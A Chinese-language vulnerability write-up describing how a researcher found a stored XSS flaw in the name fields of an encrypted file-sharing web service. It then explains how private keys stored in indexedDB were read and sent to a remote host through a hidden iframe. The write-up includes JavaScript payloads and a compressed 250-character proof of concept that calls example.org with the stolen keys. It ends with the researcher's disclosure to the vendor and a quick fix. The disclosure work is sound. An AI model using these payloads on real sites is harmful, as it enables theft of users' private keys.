通过存储型XSS漏洞获取目标用户本地私钥信息

背景

不久前，发布于荷兰某科技网站的一篇文章展示了一种新发布的在线服务，其声称利用该服务可通过Web方式实现用户端到端的文件请求传输。

和以前一样，因为我对这种安全加密实现非常感兴趣，所以看到这篇文章我就有种测试冲动了。文章声称这种通过web方式的文件请求是安全的，果真如此吗？该加密服务网站只介绍了几种使用RSA和AES私钥的本地端到端加密方法，并未深入对其具体的加密实现作出介绍，而且，其应用也不是开源的，所以难得从代码审计或白皮书说明去入手。

虽然该加密服务网站声称它们提供的服务绝对安全可靠，但我觉得任何人都会犯错，所以我决定深入测试分析一下。

在名称处发现存储型XSS漏洞

注册了账号之后，我就开始测试，不一会我就发现在账户名称和公司名称字段区域存在存储型XSS漏洞。该加密服务允许用户创建一个文件请求，该请求会生成一个链接，可以把该链接通过邮件形式发送给其它服务用户。收件用户收到该链接邮件后，打开邮件就能看到一个页面，在该页面中可以进行文件上传操作。用户创建的文件请求包含了用户在客户端用于文件加密的公钥信息。

这里的问题是，在这个文件请求生成的链接页面中，其用户名或公司名字段未经过滤处理，可以实现XSS Payload触发，如果在其中加入XSS Payload-3f1c4e4b6b16bbbd69b2ee476dc4f83aalert(‘Hi there!’);2cacc6d41bbb37262a98f745aa00fbf0，把相应文件请求链接发给其他用户后，当链接被打开会被执行XSS，如下：

也就是说，我们能在目标用户的系统中执行任意代码，干一些坏事，但如何来深入利用它呢?

获取目标用户本地私钥信息

该加密服务使用客户端非对称加密来保护用户文件，由于加密服务是通过网站的形式来部署的，所以其加密机制应该是通过JavaScript来调用实现的，也就是说，可以通过JavaScript来获取到本地的私钥信息。经分析发现，该加密服务把用户生成的私钥信息存储在本地的indexedDB数据库中，且不可通过网络发送。

用户私钥在此是保护用户加密文件的重要信息了，有了私钥才能解密使用其配对密钥加密的文件，必须好好保护私钥且不能分享给其他人。

你可能已经猜到了，我们可以在上述存在存储型XSS漏洞的名字字段内，通过变化Payload来获取用户私钥。我写了获取本地存储信息的代码，并层层筛选测试，最终有了以下获取本地用户私钥的代码：

var dbReq = indexedDB.open("companyname");
dbReq.onsuccess = () => {
    var store = dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key");
    store.onsuccess = () => alert(store.result.pem);
};

把这段代码嵌入名字字段，然后生成文件请求链接，打开该链接就能反弹显示用户的私钥信息：

从攻击者端收集受害者私钥信息

这样弹出用户私钥信息的方式可不好，我们得把它发送到我们控制的远程服务器上才行，是吧。为此，我尝试用POST方式把私钥信息发送到我控制的远程服务器上去。我遇到了第一个问题，上述存在XSS漏洞的名字区域最多只允许输入255个字符，但 JavaScript 的请求又非常冗长，所以需要尽量把代码简化。

但很快，我发现在服务应用中存在 jQuery，它允许发出非常简单和简短的Ajax请求，太好了。但最终却因为CORS的限制，我没能成功。

有人可能会说是因为我的远程服务器上没配置正确，但我确实把Access-Control-Allow-Origin设置成了*，还是不行，所以我只能估计是服务端CORS头配置的限制了。

但对于非Ajax请求来说，我发现在GET请求中，如果把数据放到URL后就是一种很好的传输方式，为此我选择了iframes方式的链接嵌入。把数据放到URL之后，如//example.com/?k=DATA，然后在请求生成的链接页面中隐蔽添加了一个iframes。受害者浏览器会加载该iframes框架，把数据回传给我，如：

$('body').append(
    &#39;<iframe src="//example.com/?k=&#39; +
    btoa(JSON.stringify(secret_data)) +
    &#39;" />&#39;
);

用window.location.href方法让受害用户执行重定向跳转到攻击者页面，也是可行的，但这难免会引起怀疑。

就这样，我们就能远程收集获取到目标用户的私钥信息了！

Proof of Concept

经过测试，我把上述代码压缩，并填入我的远程服务器短域名，刚好是250个字符，低于255个最大字符的限制。完美！

<script>setTimeout(()=>indexedDB.open("companyname").onsuccess=(a)=>a.target.result.transaction(["keys"]).
objectStore("keys").getAll().onsuccess=(b)=>$(&#39;body&#39;).append(&#39;<iframe src="//example.org?k=&#39;+btoa
(JSON.stringify(b.target.result))+&#39;">&#39;),1);</script>

参考以下POC视频：

https://uploads.timvisee.com/p/stealing-private-keys-from-secure-file-sharing-service-poc-video.webm

在我的远程服务器端，我用了一个简单的PHP脚本来收集上述传输回来的附加在URL后的目标用户数据，进行解析提取，会形成一个keys.txt文件进行存储。

总结

测试有效后，我及时联系了厂商，他们在15分钟就给了回复，经过一番讨论之后，他们在一个小时之内就及时修复了该漏洞。所以，我的经验是，别单单根据网站或厂商的说明去相信一项服务的安全性，安全的前提须基于以下因素：

运行有一段时间；

是开源的；

经过现实应用的考验；

经过多方参与的安全审计；

只有经过深入的研究和审查才能声称是安全的；

或者由其它可信安全的第三方托管运行。

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